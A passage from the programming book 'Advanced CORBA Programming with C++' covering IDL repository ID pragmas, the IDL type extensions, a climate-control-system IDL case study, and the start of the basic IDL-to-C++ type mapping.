}; 
 
      
This definition assigns version 1.8 to the repository ID for TempType, so the repository 
ID becomes IDL:acme.com/CCS/TempType:1.8. 
 
The version identifier is a historical relic and is ignored by the ORB. You should never 
have any reason to change it from the 1.0 default. The version ID was added to repository 
IDs to allow an interface versioning mechanism to be added to CORBA in the future. As 
of this writing, no such versioning mechanism exists, and there are no moves in the OMG 
to add one. This means that versioning in CORBA is limited to specialization—you can 
treat a derived interface as a later version of a base interface. 
 
Versioning by specialization works fine, provided that you do not have to change any of 
the base interface's type definitions. In addition, versioning by specialization requires that 
the semantics of operations in the base interface must not be changed if they are 
implemented in the derived interface. In practice, versioning is frequently used to address 
defects in a base interface instead of only to extend the base interface's functionality. 
Unfortunately, versioning by specialization is not suitable in this case. If types in the base 
interface must be changed or if the semantics of a base interface's operation must be 
changed, you have no choice except to define a new, unrelated interface. 

4.19.4 Controlling Repository ID Formats with the ID Pragma 

The ID pragma allows you to specify explicitly the format of the repository identifier for 
a type. The pragma applies to all three formats. Its use is best shown by example: 
       
#pragma prefix "acme.com" 



IT-SC book: Advanced CORBA® Programming with C++ 

 117

module CCS { 
    typedef short   TempType; 
#pragma ID TempType "DCE:700dc518-0110-11ce-ac8f-0800090b5d3e:1" 
    interface Thermometer { 
#pragma prefix "climate.acme.com" 
        readonly attribute TempType temperature; 
    }; 
    interface Thermostat : Thermometer { 
        void    set_nominal_temp(in TempType t); 
    }; 
#pragma ID Thermostat "LOCAL:tmstat_rev_1.19b_checked" 
}; 
#pragma ID CCS::Thermometer "IDL:comp.com/CCS/Thermometer:1.0" 
 
      
The repository identifiers for this specification are as follows: 
       
IDL:acme.com/CCS:1.0 
DCE:700dc518-0110-11ce-ac8f-0800090b5d3e:1 
IDL:comp.com/CCS/Thermometer:1.0 
IDL:climate.acme.com/temperature:1.0 
LOCAL:tmstat_rev_1.19b_checked 
IDL:acme.com/CCS/Thermostat/set_nominal_temp:1.0 
 
      
The ID pragma must follow the type to which it assigns a repository identifier. It cannot 
precede it because the type name used in the pragma is resolved following the usual 
scope resolution rules (qualified type names are allowed). 
 
This example also demonstrates that a prefix pragma extends only as far as its 
enclosing scope. (The prefix for set_nominal_temp is acme.com and not 
climate.acme.com.) 

4.20 Standard Include Files 

The CORBA specification requires every ORB to provide a file with the name orb.idl. 
If you intend to pass an IDL type description to a remote object, you must include 
orb.idl in your specification: 
      
#include <orb.idl> 
// Your specification here... 
 
orb.idl contains the definition for CORBA::TypeCode as well as definitions for all 
types used by the Interface Repository. We discuss type codes in more detail in Chapter 
16. Note that depending on your ORB, the orb.idl file may be in a subdirectory (such 
as corba), so you may have to modify the include path to specify the correct directory. 

4.21 Recent IDL Extensions 

In 1997, the OMG accepted a proposal to add new types to IDL. Following is a brief 
summary of these new types. Be aware that even though these extensions are officially 
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part of CORBA 2.2 and later versions, they are unlikely to be available for some time. 
Availability not only depends on ORB vendors updating their code but also requires 
support from the underlying architecture and compilers (for example, to support 64-bit 
integer arithmetic). If you decide to rely on the new types, you need to make sure that 
they are supported by the platforms you intend to use. 

4.21.1 Wide Characters and Strings 

Two new keywords—wchar and wstring—are used for wide characters and wide 
strings, respectively. The specification does not mandate support for particular codesets, 
such as Unicode. Instead, it allows each client and server to use the codeset native to the 
local machine, and it specifies how characters and strings are to be converted for 
transmission between environments using different codesets. 
 
Wide character and string literals follow the C++ syntax of prepending an L to the literal: 
       
const wchar     C = L'X'; 
const wstring   GREETING = L"Hello"; 
 
      
In addition, wide characters and wide strings provide Unicode escape sequences of the 
form \uhhhh. For example, the letter ? can be represented by the escape sequence 
\u03A9. Leading zeros are optional, and the hexadecimal digits a to f can be in 
uppercase or lowercase: 
       
const wchar     OMEGA = L'\u03a9'; 
const wstring   OMEGA_STR = L"Omega: \u3A9"; 
 
      
Wide strings must not contain the character with value zero (\u0000). 

4.21.2 64-bit Integers 

The type extensions add type long long and type unsigned long long for 64-
bit integer types. Language mappings for these types are not yet complete, so you should 
use them only if your architecture natively supports 64-bit integers. 

4.21.3 Extended Floating-Point Type 

The IDL type long double is used to specify an extended floating-point type. The 
specification requires IEEE 754-1985 format [7] (at least 64-bit mantissa and at least 15-
bit exponent). Language mappings for long double are not yet complete, so you 
should use this type only if your architecture provides native support for extended 
floating-point values. 

4.21.4 Fixed-Point Decimal Types 
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The type extensions add the fixed keyword for specifying fixed-point decimal types. 
Fixed-point types permit accurate representation of decimal fractions. Floating-point 
types permit exact representation only when the value happens to be a fractional power of 
2. This makes fixed-point types particularly useful to represent business quantities, such 
as monetary amounts or interest rates. Here are examples of fixed-point types: 
       
typedef fixed<9,2>  AssetValue;     // up to 9,999,999.99, 
                                       // accurate to 0.01 
typedef fixed<9,4>  InterestRate;   // up to 99,999.9999, 
                                       // accurate to 0.0001 
typedef fixed<31,0> BigInt;         // up to 10^31 - 1 
 
      
The first number in a fixed type definition specifies the total number of digits, and the 
second number specifies the scale—that is, the number of digits following the decimal 
point. A fixed type is limited to at most 31 digits, and the scale must be a positive 
number (zero is legal as a scale value). 
The following IDL shows some examples of legal and illegal uses of type fixed: 
       
const fixed val1 = 3.14D; 
const fixed val2 = -3000D; 
const fixed rate = 0.03D; 
typedef fixed<9,2> AssetValue; 
typedef fixed<3,2> Rate; 
struct FixedStruct { 
    fixed<8,3>  mem1;       // Bad style, but OK 
    AssetValue  mem2; 
}; 
interface foo { 
    void record(in AssetValue val); // OK 
    void op(in fixed<10,4> val);    // Illegal anonymous type! 
}; 
 
      
Note that fixed-point literals must end in the character d or D. The integer or fraction part 
(but not both) is optional, as is the decimal point. For constant definitions, we use the 
keyword fixed without specifying the digits and scale of the constant. This is because 
digits and scale are implicit in the fixed-point literal. For example, 03.14D implicitly 
has the type fixed<3,2>, and -03000.00D implicitly has the type fixed<4,0> 
(leading and trailing zeros are ignored). 
 
You can use the in-fix arithmetic operators (+, -, *, /) and unary minus (-) for fixed-point 
constant definitions. You cannot mix fixed-point, integer, or floating-point operands in a 
constant expression. Be careful about overflow; if an intermediate value or the final value 
has more than 31 digits, truncation without rounding occurs. 
 
Even though it is not strictly required, we strongly recommend that you use a typedef 
for all fixed-point types. This technique avoids problems with anonymous types in some 
language mappings. 
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Languages such as Ada and COBOL have direct support for fixed-point types, and that 
gives natural mappings. For languages such as C++ and Java, fixed-point types are 
supported by abstract data types. 
 
The specification for fixed was changed significantly in CORBA 2.3 because the 
CORBA 2.2 specification for fixed-point types suffered from a number of problems. In 
particular, the syntax for fixed-point constants as well as the C++ mapping for fixed-
point types are different in CORBA 2.3. For these reasons, we recommend that you use 
fixed-point types only with an ORB that supports CORBA 2.3 or later. 

4.21.5 Escaped Identifiers 

The Objects-By-Value Specification adopted for CORBA 2.3 adds the notion of escaped 
identifiers to IDL. The need for these identifiers arose because ongoing extensions to 
CORBA occasionally require the addition of new keywords to IDL. This creates a 
problem: whenever a new keyword is added to IDL, it may potentially clash with an 
existing specification that uses that keyword. Consider the following IDL: 
       
typedef string valuetype;   // Syntax error in CORBA 2.3 and later 
interface Value { 
    valuetype   get_value(); 
    void        set_value(in valuetype val); 
}; 
 
      
This IDL is perfectly valid for an ORB that conforms to CORBA 2.2 or earlier. However, 
for an ORB compliant with CORBA 2.3, the definition of valuetype causes a syntax 
error because valuetype is one of the keywords added to the CORBA 2.3 specification. 
To make it possible to add new keywords to OMG IDL without completely breaking 
existing specifications, identifiers are allowed to have a leading underscore: 
       
typedef string _valuetype;  // OK in CORBA 2.3 and later 
interface Value { 
    _valuetype  get_value(); 
    void        set_value(in _valuetype val); 
}; 
 
      
Note the leading underscore on _valuetype, which maps the identifier away from the 
valuetype keyword. This mechanism allows us to migrate the earlier IDL definition 
that is no longer valid in CORBA 2.3 simply by adding an underscore to all occurrences 
of the now illegal valuetype identifier. The IDL compiler treats identifiers with a 
leading underscore exactly as if they did not have an underscore. In other words, the 
language mapping for the _valuetype identifier is exactly the same as if it had been 
spelled valuetype, and the repository ID is still IDL:valuetype:1.0. In that way, 
existing source code does not have to be changed if its IDL happens to contain an 
identifier that later becomes a keyword. 
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Keep in mind that escaped identifiers were added only to permit addition of new 
keywords. There is no point or purpose in using a leading underscore for IDL identifiers 
otherwise, even though it is legal: 
       
interface _Thermometer {    // Legal in CORBA 2.3, but useless 
    // ... 
}; 
 
      
In CORBA 2.3 and later, this definition behaves exactly as if we had used 
Thermometer as the interface name. 

4.22 Summary 

OMG IDL is CORBA's language-independent mechanism for defining data types and 
object interfaces. IDL decouples client implementations from server implementations and 
establishes the contract that clients and servers adhere to. IDL specifications are 
translated by a compiler into language-specific stubs and skeletons. The stubs and 
skeletons provide client-side and server-side APIs to support implementations in a 
particular language. 
 
IDL provides a set of built-in types that can easily be translated into most programming 
languages. The set of built-in types can be augmented by user-defined types, such as 
structures and sequences. IDL provides object orientation through interface inheritance, 
which in turn establishes type compatibility and polymorphism. Exceptions serve as a 
uniform error-handling mechanism, and modules provide a grouping construct to prevent 
namespace pollution. Repository IDs provide unique internal names for IDL types; 
#pragma directives permit you to change default repository IDs transparently to the 
application code and prevent accidental clashes with other developers. 
 
With CORBA 2.2, IDL was extended to support wide characters and strings, 64-bit 
integers, type long double, and fixed-point types. Escaped identifiers, added with 
CORBA 2.3, permit new keywords to be added to IDL without breaking existing 
implementation code. 
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Chapter 5. IDL for a Climate Control System 

5.1 Chapter Overview 

Throughout the remainder of this book, we use a simple climate control system as a case 
study. The initial implementation of this system has a number of limitations. As we 
discuss new features, we progressively improve the implementation until we end up with 
a full-featured and realistic application. 
 
Section 5.2 describes the functionality provided by the climate control system, 
Section 5.3 incrementally develops the interfaces to the system in IDL, and Section 
5.4 contains the complete IDL specification for the system. 

5.2 The Climate Control System 

The climate control system controls the air-conditioning for various rooms in a large 
building. In addition, the same system controls the temperature of a number of 
manufacturing devices, such as freezers and annealing ovens. The system contains two 
kinds of devices: thermometers and thermostats. These devices are installed at various 
locations and support a proprietary instrument control protocol. 
 
Thermometers report the current temperature at a location, whereas thermostats also 
permit a desired temperature to be selected. The climate control system attempts to keep 
the actual temperature as close as possible to this selected temperature. We assume that 
the system contains hundreds of thermometers and thermostats. 
 
The entire collection of thermometers and thermostats can be controlled from a single 
remote monitoring station. An operator can monitor and set the desired temperature for 
each location, find specific devices via various search criteria, and raise or lower the 
temperature for a number of rooms as a group. 
 
A climate control system server acts as a gateway between the proprietary instrument 
control network and CORBA applications. We use CORBA to manage the system 
because it allows us to use the regular corporate computing infrastructure instead of 
having to extend the proprietary network to all clients. In addition, APIs for the 
proprietary protocol may not be available for all the combinations of operating system 
and platform we want to use for clients. By using CORBA, we permit a much wider 
variety of client implementations, including client implementations in languages for 
which the proprietary API is not available. 

5.2.1 Thermometers 

A thermometer is a reporting device. Its purpose is to allow the monitoring station to 
inquire about the current temperature at the thermometer's location. Thermometers come 
equipped with a small amount of memory that holds additional information. 
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Asset number 
Each thermometer has an asset number. This number is unique and is assigned when the 
thermometer is manufactured (for example, written into EPROM). The asset number 
therefore cannot change during the lifetime of a thermometer. The asset number also acts 
as the unique proprietary network address for each device; the proprietary API requires 
an asset number for remote access to a device. 
 
Model 
Thermometers come in different models. The model determines aspects such as the 
precision and range of the device. The model identification is stored in read-only memory 
and can be read remotely. 
 
Location 
Each thermometer stores a short string identifying its current location, such as "Room 
414." This string is held in writable memory, so it can be updated. This may be necessary 
when a thermometer is physically moved to a different location or if the name of a room 
is changed. 

5.2.2 Thermostats 

Thermostats offer all the functionality of thermometers—that is, thermostats can report 
the current temperature, and they have an asset number, model, and location. The asset 
numbers of thermostats and thermometers share a namespace. This means that if a 
particular thermostat has asset number 5, no other thermostat or thermometer can have 
asset number 5. 
 
Thermostats come equipped with a dial for setting the desired temperature. It is possible 
to remotely read as well as change the setting of the dial. 
 
Each thermostat imposes limits on the range of temperatures that can be selected and 
does not permit a setting outside the legal range. Different thermostats have different 
legal temperature ranges, depending on the model. Different models are required for 
different environments, such as offices, freezers, and semiconductor annealing ovens. 

5.2.3 The Monitoring Station 

The monitoring station (known as a controller) permits access to and control of the 
devices in the system. An operator can list all devices in the system, locate specific 
devices by various search criteria, and make relative changes to the temperature setting of 
a group of thermostats. 

Listing Devices 

A list operation returns a list of all devices connected to the system. 

Relative Temperature Changes 
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A change operation accepts a list of thermostats together with a relative temperature 
setting (a delta value). The operation adjusts the nominal temperature setting of each 
thermostat on the list up or down by the requested amount. 
 
Some thermostats may not be able to make the required adjustment. For example, one of 
the thermostats on the list may already be at its maximum setting and unable to increase 
the nominal temperature any further. For changes that exceed the permissible range of 
one or more thermostats, the operation behaves as follows. 
 
For thermostats that can accept the requested change, the new setting is established. 
 
For thermostats that cannot accept the requested change, the original temperature remains 
unchanged. In addition, an error report shows the details of what went wrong for each 
thermostat. 

Finding Devices 

This operation permits an operator to locate specific devices by their asset number, 
location string, or model number. 

5.3 IDL for the Climate Control System 

Please note that the IDL for the climate control system was designed mainly as an 
educational exercise. We sacrificed elegance in order to use a representative subset of the 
language while keeping the example to manageable size. This also meant ignoring some 
of our own advice; for example, we have used attributes when operations would be more 
appropriate. Keep in mind that there are hundreds of ways to write the IDL for this 
application, many of which are better than the one we use here. 
 
The problem description for the climate control system suggests the object model shown 
in Figure 5.1. (The diagram omits the implied inheritance of every IDL interface from 
Object.) Because a thermostat offers all the functionality of a thermometer, it can be 
considered a special kind of thermometer. We use inheritance to express this. 

Figure 5.1 UML Object model for the climate control system. 

 
Each thermometer—and, by inheritance, each thermostat—has a mandatory association 
with exactly one controller. A controller manages any number of devices (possibly none). 
As indicated by the association arrow, we can navigate the association from the controller 
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to a device but cannot navigate the association in the opposite direction. Given a device, 
it is not possible to find its managing controller. 

5.3.1 IDL for Thermometers 

From the problem description, we can easily model a thermometer as follows: 
       
typedef unsigned long   AssetType; 
typedef string          ModelType; 
typedef short           TempType; 
typedef string          LocType; 
interface Thermometer { 
    readonly attribute ModelType    model; 
    readonly attribute AssetType    asset_num; 
    readonly attribute TempType     temperature; 
             attribute LocType      location; 
}; 
 
      
The model, asset number, location, and current temperature can all be provided as IDL 
attributes. The location of the thermometer is the only modifiable attribute. The 
remaining attributes are declared read-only. 

5.3.2 IDL for Thermostats 

The IDL for thermostat devices simply adds to the basic functionality provided by 
thermometers: 
       
interface Thermostat : Thermometer { 
    struct BtData { 
        TempType    requested; 
        TempType    min_permitted; 
        TempType    max_permitted; 
        string      error_msg; 
   }; 
   exception BadTemp { BtData details; }; 
   TempType get_nominal(); 
   TempType set_nominal(in TempType new_temp) raises(BadTemp); 
}; 
 
      
Instead of using attributes, a thermostat provides an accessor (get_nominal) and a 
modifier operation (set_nominal). set_nominal returns the previously set 
temperature if it succeeds. If it fails, it raises a BadTemp exception. The return value is 
undefined in the presence of an exception. 
 
Note that the BadTemp exception has only a single data member, which in turn is a 
structure. This may seem strange. After all, we could have written this as follows: 
       
exception BadTemp { 
   TempType    requested; 
   TempType    min_permitted; 
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   TempType    max_permitted; 
   string      error_msg; 
}; 
 
      
The reason for placing the details in a separate structure is that exceptions are not 
permissible as a data type. As you will see in a moment, by using a structure, you can 
reuse the exception details from a set_nominal operation for the change operation on 
the controller. 

5.3.3 IDL for the Controller 

The list operation can be implemented by returning a polymorphic list of devices: 
       
interface Controller { 
    typedef sequence<Thermometer> ThermometerSeq; 
    ThermometerSeq list(); 
    // ... 
}; 
 
      
The list operation simply returns a sequence of Thermometer references. Because 
thermostats are thermometers, the sequence can contain a mixture of thermometers and 
thermostats. Clearly, this implies that the receiver must somehow be able to work out 
whether a particular object reference in the sequence belongs to a thermostat or denotes 
only a thermometer. As you will see in Section 7.6.4, this is possible (CORBA 
provides a mechanism similar to a C++ dynamic cast for object references). 
 
The change operation implements a bulk update of a number of thermostats: 
       
interface Controller { 
    // ... 
    typedef sequence<Thermostat> ThermostatSeq; 
    struct ErrorDetails { 
        Thermostat          tmstat_ref; 
        Thermostat::BtData  info; 
   }; 
    typedef sequence<ErrorDetails> ErrSeq; 
    exception EChange { 
        ErrSeq errors; 
   }; 
    void    change(in ThermostatSeq tlist, in short delta) 
                raises(EChange); 
   // ... 
}; 
 
      
Note that change expects a sequence of Thermostat references. Only thermostats 
(but not thermometers) permit a nominal temperature to be set. A thermometer is not a 
thermostat, and therefore a thermometer cannot appear in a sequence of thermostats. This 
makes the definition of change type-safe; there is no way to accidentally get a 
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thermometer into the input sequence (at least with the C++ mapping, which is statically 
type-safe.) 
 
If one or more of the thermostats cannot make the requested change, an EChange 
exception is raised. The exception contains the single data member errors, which is a 
sequence of error reports. Each error report in turn contains the object reference of the 
thermostat that encountered the problem (in the member tmstat_ref) together with 
the details of the exception raised by that thermostat (in the member info). 
 
The find operation permits searching for devices by asset number, location, or model 
number. An enumerated type indicates the type of search, and the search key is supplied 
as a union: 
       
interface Controller { 
    // ... 
    enum SearchCriterion { ASSET, LOCATION, MODEL }; 
    union KeyType switch(SearchCriterion) { 
    case ASSET: 
       AssetType   asset_num; 
    case LOCATION: 
       LocType     loc; 
    case MODEL: 
       ModelType   model_desc; 
   }; 
   // ... 
}; 
 
      
The find operation expects a sequence of pairs of search key and object references: 
       
interface Controller { 
    // ... 
    struct SearchType { 
       KeyType     key; 
       Thermometer device; 
    }; 
    typedef sequence<SearchType> SearchSeq; 
    void find(inout SearchSeq slist); 
    // ... 
}; 
 
      
For instructional purposes, we have made the definition of this operation unnecessarily 
complicated. A more realistic approach would split find into three separate operations 
(one for each type of search) and would return the matching object references as the 
return value (instead of using an inout parameter). 
 
To locate one or more devices, the caller supplies a sequence of type SearchSeq. The 
sequence contains one element for each search key. This permits the caller to search for 
devices by several search criteria in a single call. For example, to locate all devices in 
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Room 414 or with the asset number 123, the caller creates a sequence with two elements, 
one for each search criterion. 
 
The find operation looks for the devices nominated by the search keys. If a matching 
device is found, it overwrites the device member in the SearchType structure with 
the object reference of the matching device. If no matching device is found, the device 
member is set to the nil reference to indicate a failed search for this key to the caller. The 
initial value of the device member (as sent by the client) is ignored. 
 
Figure 5.2 shows an example in which the client supplies two search records. One 
record looks for devices in Room 414, and the other record looks for the device with 
asset number 123. Assume that no devices are in Room 414 but that a device with asset 
number 123 actually exists. The corresponding search sequence is shown before and after 
the call. 

Figure 5.2 Search sequence before and after a call. 

 
Some search keys can result in more than one matching device. For example, we may 
have two model Sens-A-Temp thermometers in the system. In this case, the find 
operation increases the length of the inout sequence to return the matching devices, as 
shown in Figure 5.3. 

Figure 5.3 Growing a search sequence. 
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5.4 The Complete Specification 

All that remains is to combine the preceding pieces of IDL into a single specification. As 
good IDL citizens, we wrap everything in a module called CCS and use a pragma to 
establish a unique prefix for repository IDs: 
      
#pragma prefix "acme.com" 
module CCS { 
    typedef unsigned long   AssetType; 
    typedef string          ModelType; 
    typedef short           TempType; 
    typedef string          LocType; 
    interface Thermometer { 
        readonly attribute ModelType    model; 
        readonly attribute AssetType    asset_num; 
        readonly attribute TempType     temperature; 
                attribute LocType      location; 
   }; 
   interface Thermostat : Thermometer { 
       struct BtData { 
           TempType    requested; 
           TempType    min_permitted; 
           TempType    max_permitted; 
           string      error_msg; 
       }; 
       exception BadTemp { BtData details; }; 
       TempType    get_nominal(); 
       TempType    set_nominal(in TempType new_temp) 
                       raises(BadTemp); 
   }; 
   interface Controller { 
       typedef sequence<Thermometer>   ThermometerSeq; 
       typedef sequence<Thermostat>    ThermostatSeq; 
       enum SearchCriterion { ASSET, LOCATION, MODEL }; 
       union KeyType switch(SearchCriterion) { 
       case ASSET: 
           AssetType   asset_num; 
       case LOCATION: 
            LocType     loc; 
       case MODEL: 
           ModelType   model_desc; 
       }; 
       struct SearchType { 
           KeyType     key; 
           Thermometer device; 
       }; 
       typedef sequence<SearchType>    SearchSeq; 
       struct ErrorDetails { 
           Thermostat          tmstat_ref; 
           Thermostat::BtData  info; 
       }; 
       typedef sequence<ErrorDetails>  ErrSeq; 
       exception EChange { 
           ErrSeq  errors; 
       }; 



IT-SC book: Advanced CORBA® Programming with C++ 

 130 

       ThermometerSeq  list(); 
       void            find(inout SearchSeq slist); 
       void            change( 
                           in ThermostatSeq tlist, in short delta 
                       ) raises(EChange); 
   }; 
}; 
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Chapter 6. Basic IDL-to-C++ Mapping 

6.1 Chapter Overview 

This chapter explains how IDL types are mapped to their corresponding C++ types by an 
IDL compiler. Sections 6.3 to 6.8 cover identifiers, modules, and simple IDL types. 
Section 6.9 covers memory management issues related to variable-length types, and 
Section 6.10 presents detailed examples of memory management for strings. 
Sections 6.11 and 6.12 discuss the mapping for wide strings and fixed-point types. 
The mapping for user-defined complex types is covered in Sections 6.13 to 6.18. 
Section 6.19 shows how smart pointers can eliminate the need to take care of memory 
management. 
 
This chapter does not cover all of the mapping. Chapter 7 presents the client-side 
mapping for operations and exceptions, Chapter 9 details the server-side mapping, and 
Chapter 15, Chapter 16, Chapter 17, cover the dynamic aspects of IDL. (The 
complete C++ mapping specification can be found in [17a].) 
 
This chapter is long, and you probably won't be able (or inclined) to absorb all of it by 
reading it from beginning to end. Instead, you may prefer to browse the sections that 
interest you and refer to the details later. The chapter is arranged so that it is suitable as a 
reference. All the material for a particular topic is presented together, so you should be 
able to find the answers to specific questions as they arise. 

6.2 Introduction 

• The mapping from IDL to C++ must address a large number of requirements: 
• The mapping should be intuitive and easy to use. 
• It should preserve commonly used C++ idioms and "feel" like normal C++ as 

much as possible. 
• It should be type-safe. 
• It should be efficient in its use of memory and CPU cycles. 
• It must work on architectures with segmented or hard (non-virtual) memory. 
• It must be reentrant so that it can be used in threaded environments. 
• The mapping must preserve location transparency; that is, the source code for 

client and server must look identical whether or not client and server are 
collocated (are in the same address space). 

 
Some of these requirements conflict with others. For example, typically we cannot 
achieve ease of use and optimum efficiency at the same time, so we must make trade-offs. 
The C++ mapping adopted by the OMG deals with these compromises by choosing 
efficiency over convenience. The reason for this approach is twofold. 
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It is possible to layer a slower but more convenient mapping on top of a faster but less 
convenient one, but we cannot layer a fast mapping on top of a slow one. Favoring a 
mapping that is fast but less convenient lets the OMG and ORB vendors add other 
options, such as code generation wizards, later. 
 
Increasingly, designers use IDL to describe in-process interfaces, which have the 
advantage of location transparency. Such interfaces let you build systems that implement 
different functional units in a single process and then let you later split that single process 
into multiple processes without breaking existing source code. The run-time efficiency of 
the mapping may be irrelevant for interprocess communication, but it matters for in-
process communication. 
 
These design choices mean that the C++ mapping is large and complex, but things are not 
as bad as they may seem. First, the mapping is consistent. For example, once you have 
understood the memory management of strings, you also know most of the rules for other 
variable-length types. Second, the mapping is type-safe; no casts are required, and many 
mistakes are caught at compile time. Third, the mapping is easy to memorize. Although 
some classes have a large number of member functions, you need call only a small 
number of them for typical use; some member functions exist to provide default 
conversions for parameter passing, and you need not ever call them explicitly. 
 
Keep in mind that you should not try to read and understand the header files generated by 
the IDL compiler. The header files typically are full of incomprehensible macros, 
mapping implementation details, and cryptic workarounds for various compiler bugs. In 
other words, the header files are not meant for human consumption. It is far easier to look 
at the IDL instead. IDL and a knowledge of the C++ mapping rules are all you need to 
write high-quality code. 

6.3 Mapping for Identifiers 

IDL identifiers are preserved without change in the generated C++ code. For example, 
the IDL enumeration 
      
enum Color { red, green, blue }; 
 
     
maps to the C++ enumeration 
      
enum Color { red, green, blue }; 
 
     
The C++ mapping also preserves the scoping of IDL. If a scoped name such as Outer:: 
Inner is valid in IDL, the generated C++ code defines the same name as 
Outer::Inner. 
 
A problem arises if C++ keywords are used in an IDL definition. For example, the 
following IDL definition is legal: 
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enum class { if, this, while, else }; 
 
     
Clearly, this definition cannot be translated without mapping away from the C++ 
keywords. The C++ mapping specifies that IDL identifiers that are C++ keywords get a 
_cxx_ prefix, so the preceding is translated as 
      
enum _cxx_class { _cxx_if, _cxx_this, _cxx_while, _cxx_else }; 
 
     
The resulting code is harder to read, so you should avoid using IDL identifiers that are 
C++ keywords. 
 
It is also a good idea to avoid IDL identifiers containing a double underscore, such as 
      
typedef long my__long; 
 
     
The identifier my__long is legal and maps to C++ my__long. However, standard C++ 
reserves identifiers containing double underscores for the implementation, so, strictly 
speaking, my__long invades the compiler's namespace. In practice, IDL identifiers 
containing double underscores are not likely to cause problems, but you should be aware 
that the C++ mapping does not address this potential name clash. 

6.4 Mapping for Modules 

IDL modules are mapped to C++ namespaces. The contents of an IDL module appear 
inside the corresponding C++ namespace, so the scoping of an IDL definition is 
preserved at the C++ level. Here is an example: 
      
module Outer { 
    // More definitions here... 
    module Inner { 
        // ... 
        }; 
}; 
 
     
This maps to correspondingly nested namespaces in C++: 
      
namespace Outer { 
    // More definitions here... 
    namespace Inner { 
        // ... 
    } 
} 
 
     
A useful feature of namespaces is that they permit you to drop the name of the namespace 
by using a using directive. This technique eliminates the need to qualify all identifiers 
with the module name: 
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using namespace Outer::Inner; 
// No need to qualify everything 
// with Outer::Inner from here on... 
 
     
IDL modules can be reopened. A reopened module is mapped by reopening the 
corresponding C++ namespace: 
      
module M1 { 
    // Some M1 definitions here... 
}; 
module M2 { 
    // M2 definitions here... 
}; 
module M1 {     // Reopen M1 
    // More M1 definitions here... 
}; 
 
     
This maps to C++ as 
      
namespace M1 { 
    // Some M1 definitions here... 
} 
namespace M2 { 
    // M2 definitions here... 
} 
namespace M1 {   // Reopen M1 
    // More M1 definitions here... 
} 
 
     

Because not all C++ compilers have caught up with the ISO/IEC C++ Standard [9], 
namespaces are not universally available. For compilers not supporting namespaces, 
CORBA specifies an alternative that maps IDL modules to C++ classes instead of 
namespaces: 
      
class Outer { 
public: 
    // More definitions here... 
    class Inner { 
    public: 
        // ... 
    }; 
}; 
 
     
This alternative mapping is workable but has drawbacks. 
 
No using directive is available, so you must fully qualify names that are not in the 
current scope (or in one of its enclosing scopes). 
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There is no sensible mapping of reopened modules onto classes. This means that IDL 
compilers will not permit you to reopen an IDL module if code generation is for a C++ 
compiler that does not support namespaces. 
 
For the remainder of this book, we use the mapping to namespaces. 

6.5 The CORBA Module 

CORBA defines a number of standard IDL types and interfaces. To avoid polluting the 
global namespace, these definitions are provided inside the CORBA module. The CORBA 
module is mapped in the same way as any other module, so the ORB header files provide 
a CORBA namespace containing the corresponding C++ definitions. 
 
We discuss the contents of the CORBA namespace incrementally throughout this book. 

6.6 Mapping for Basic Types 

IDL basic types are mapped as shown in Table 6.1. Except for string, each IDL type 
is mapped to a type definition in the CORBA namespace. The type definitions allow the 
mapping to maintain the size guarantees provided by IDL. To ensure that your code 
remains portable, always use the names defined in the CORBA namespace for IDL types 
(for example, use CORBA::Long instead of long to declare a variable). This will also 
help the transition of your code to 64-bit architectures (which may define 
CORBA::Long as int). 
 
Note that IDL string is mapped directly to char * instead of a type definition. The 
reason is that when the OMG first produced the C++ mapping, it was felt that binary 
layout of data in memory had to be the same for both the C and the C++ mappings.[1] This 
precludes mapping strings to something more convenient, such as a string class. 

[1] In hindsight, imposing this restriction was probably a mistake because it forces the C++ 
mapping to be less type-safe and convenient than it could have been otherwise. 

6.6.1 64-bit Integer and long double Types 

The specification assumes that the underlying C++ implementation provides native 
support for (unsigned) long long and long double. If such support is not 
available, the mapping for these types is not specified. For that reason, you should avoid 
64-bit integers and long double unless you are sure that they are supported as native 
C++ types on the platforms relevant to you. 
 

Table 6.1. Mapping for basic types. 
IDL C++ 

short CORBA::Short 
long CORBA::Long 
long long CORBA::LongLong 
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unsigned short CORBA::UShort 
unsigned long CORBA::ULong 
unsigned long long CORBA::ULongLong 
float CORBA::Float 
double CORBA::Double 
long double CORBA::LongDouble 
char CORBA::Char 
wchar CORBA::WChar 
string char * 
wstring CORBA::WChar * 
boolean CORBA::Boolean 
octet CORBA::Octet 
any CORBA::Any 

6.6.2 Overloading on Basic Types 

All the basic types are mapped so that they are distinguishable for the purposes of C++ 
overloading; the exceptions are char, boolean, octet, and wchar. This is because 
all three of the types char, boolean, and octet may map to the same C++ character 
type, and wchar may map to one of the C++ integer types or wchar_t. For example: 
       
void foo(CORBA::Short param)    { /*...*/ }; 
void foo(CORBA::Long param)     { /*...*/ }; 
void foo(CORBA::Char param)     { /*...*/ }; 
void foo(CORBA::Boolean param)  { /*...*/ };    // May not compile 
void foo(CORBA::Octet param)    { /*...*/ };    // May not compile 
void foo(CORBA::WChar param)    { /*...*/ };    // May not compile 
 
      
The first three definitions of foo are guaranteed to work, but the final three definitions 
may not compile in some implementations. For example, an ORB could map IDL char, 
boolean, and octet to C++ char and map IDL wchar to C++ short. (In that case, 
the preceding definitions are ambiguous and will be rejected by the compiler.) To keep 
your code portable, do not overload functions solely on Char, Boolean, and Octet, 
and do not overload on WChar and an integer type even if it happens to work for your 
particular ORB. 

6.6.3 Types Mappable to char 

IDL char, boolean, and octet may map to signed, unsigned, or plain char. To 
keep your code portable, do not make assumptions in your code about whether these 
types are signed or unsigned. 

6.6.4 Mapping for wchar 
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IDL wchar may map to a C++ integer type, such as int, or may map to C++ wchar_t. 
The mapping to integer types accommodates non-standard compilers, in which wchar_t 
is not a distinct type. 

6.6.5 Boolean Mapping 

On standard C++ compilers, IDL boolean may be mapped to C++ bool; the 
specification permits this but does not require it. If it is not mapped to C++ bool—for 
example, on classic C++ compilers—CORBA::Boolean maps to plain char, signed 
char, or unsigned char. 
 
The C++ mapping does not require Boolean constants TRUE and FALSE (or true and 
false) to be provided (although true and false will work in a standard C++ 
environment). To keep your code portable, simply use the integer constants 1 and 0 as 
Boolean values; this works in both standard and classic environments. 

6.6.6 String and Wide String Mapping 

Strings are mapped to char *, and wide strings are mapped to CORBA::wchar *. 
This is true whether you use bounded or unbounded strings. If bounded strings are used, 
the mapping places the burden of enforcing the bound on the programmer. It is 
unspecified what should happen if the length of a bounded string is exceeded at run time, 
so you must assume that the behavior is undefined. 
 
The use of new and delete for dynamic allocation of strings is not portable. Instead, 
you must use helper functions in the CORBA namespace: 
       
namespace CORBA { 
    // ... 
    static char *   string_alloc(ULong len);  
    static char *   string_dup(const char *);  
